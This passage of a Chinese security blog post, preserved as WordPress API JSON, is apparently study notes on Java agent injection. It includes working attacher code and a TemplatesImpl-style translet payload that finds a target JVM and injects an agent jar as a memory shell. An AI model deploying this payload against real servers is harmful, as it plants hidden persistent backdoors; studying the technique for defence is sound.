data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-224740-15-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:648px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u6211\u4eec\u5199\u4e00\u4e2aattacher\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import com.sun.tools.attach.AgentInitializationException;\nimport com.sun.tools.attach.AgentLoadException;\nimport com.sun.tools.attach.AttachNotSupportedException;\nimport com.sun.tools.attach.VirtualMachine;\n\nimport java.io.IOException;\n\npublic class AgentMain {\n    public static void main(String&#91;] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {\n        \/\/\u76ee\u6807\u5e94\u7528\u7a0b\u5e8f\u7684\u8fdb\u7a0b\u53f7\n        String id = \"43884\";\n        \/\/agent\u7684\u7edd\u5bf9\u5730\u5740\n        String jarName = \"D:\\\\java\u7b14\u8bb0\\\\Agent\\\\out\\\\artifacts\\\\Agent_jar\\\\agent2.jar\";\n        VirtualMachine virtualMachine = VirtualMachine.attach(id);\n        virtualMachine.loadAgent(jarName);\n        virtualMachine.detach();\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u6210\u529f\u6ce8\u5165\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-225955-15-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250515-225955-15-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b9e\u6218\u4e2d\u7684\u4f7f\u7528<\/h3>\n\n\n\n<p>\u5f53\u7136\uff0c\u7528\u8111\u5b50\u60f3\u60f3\u4e5f\u77e5\u9053\u5b9e\u6218\u4e2dpremain\u4e0d\u5927\u53ef\u80fd\u7528\u7684\u4e0a\uff0c\u4e3b\u8981\u8fd8\u662f\u7528agentmain\uff0c\u4e3b\u8981\u5c31\u662f\u8981\u6267\u884c\u6076\u610f\u7684attacher\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\n\npublic class TestAgentMain extends AbstractTranslet  {\n    public TestAgentMain() throws Exception {\n        try {\n            java.lang.String path = \"\/home\/bmth\/web\/spring-agent.jar\";\n            java.io.File toolsPath = new java.io.File(System.getProperty(\"java.home\").replace(\"jre\",\"lib\") + java.io.File.separator + \"tools.jar\");\n            java.net.URL url = toolsPath.toURI().toURL();\n            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL&#91;]{url});\n            Class MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n            Class MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");\n            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n            java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine, null);\n\n            System.out.println(\"Running JVM list ...\");\n            for (int i = 0; i &lt; list.size(); i++) {\n                Object o = list.get(i);\n                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod(\"displayName\", null);\n                java.lang.String name = (java.lang.String) displayName.invoke(o, null);\n                \/\/ \u5217\u51fa\u5f53\u524d\u6709\u54ea\u4e9b JVM \u8fdb\u7a0b\u5728\u8fd0\u884c\n                \/\/ \u8fd9\u91cc\u7684 if \u6761\u4ef6\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u8fdb\u884c\u66f4\u6539\n                if (name.contains(\"ezjaba.jar\")) {\n                    \/\/ \u83b7\u53d6\u5bf9\u5e94\u8fdb\u7a0b\u7684 pid \u53f7\n                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod(\"id\", null);\n                    java.lang.String id = (java.lang.String) getId.invoke(o, null);\n                    System.out.println(\"id >>> \" + id);\n                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class&#91;]{java.lang.String.class});\n                    java.lang.Object vm = attach.invoke(o, new Object&#91;]{id});\n                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod(\"loadAgent\", new Class&#91;]{java.lang.String.class});\n                    loadAgent.invoke(vm, new Object&#91;]{path});\n                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n                    detach.invoke(vm, null);\n                    System.out.println(\"Agent.jar Inject Success !!\");\n                    break;\n                }\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n    @Override\n    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler&#91;] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {\n    }\n    @Override\n    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {\n\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u5f53\u7136\uff0c\u8fd9\u91cc\u5c31\u4f1a\u6709\u4e00\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u9700\u8981\u5148\u628a\u6076\u610f\u7684jar\u4f20\u4e0a\u53bb\uff0c\u7136\u540e\u624d\u80fd\u6ce8\u5165\u9a6c\uff0c\u53ef\u4ee5\u53c2\u8003\u5176\u4ed6\u5e08\u5085\u641e\u597d\u7684\uff1a<a href=\"https:\/\/github.com\/KpLi0rn\/AgentMemShell\">https:\/\/github.com\/KpLi0rn\/AgentMemShell<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u62fc\u640f\u767e\u5929\uff0c\u6211\u8981\u5f53Java\u9ad8\u624b\uff01 \u4e0b\u9762\u7684\u7b14\u8bb0\u6765\u81ea\u4e8e\u5bf9\u4e8ep\u795e\u7684Java\u5b89\u5168\u6f2b\u8c08\u7684\u5b66\u4e60\uff0c\u540c\u65f6\u53c2\u8003\u4e86\u5f88\u591a\u5e74\u6ca1\u66f4\u65b0\u7684hu [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-976","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/976","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=976"}],"version-history":[{"count":79,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/976\/revisions"}],"predecessor-version":[{"id":3748,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/976\/revisions\/3748"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=976"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=976"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=976"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}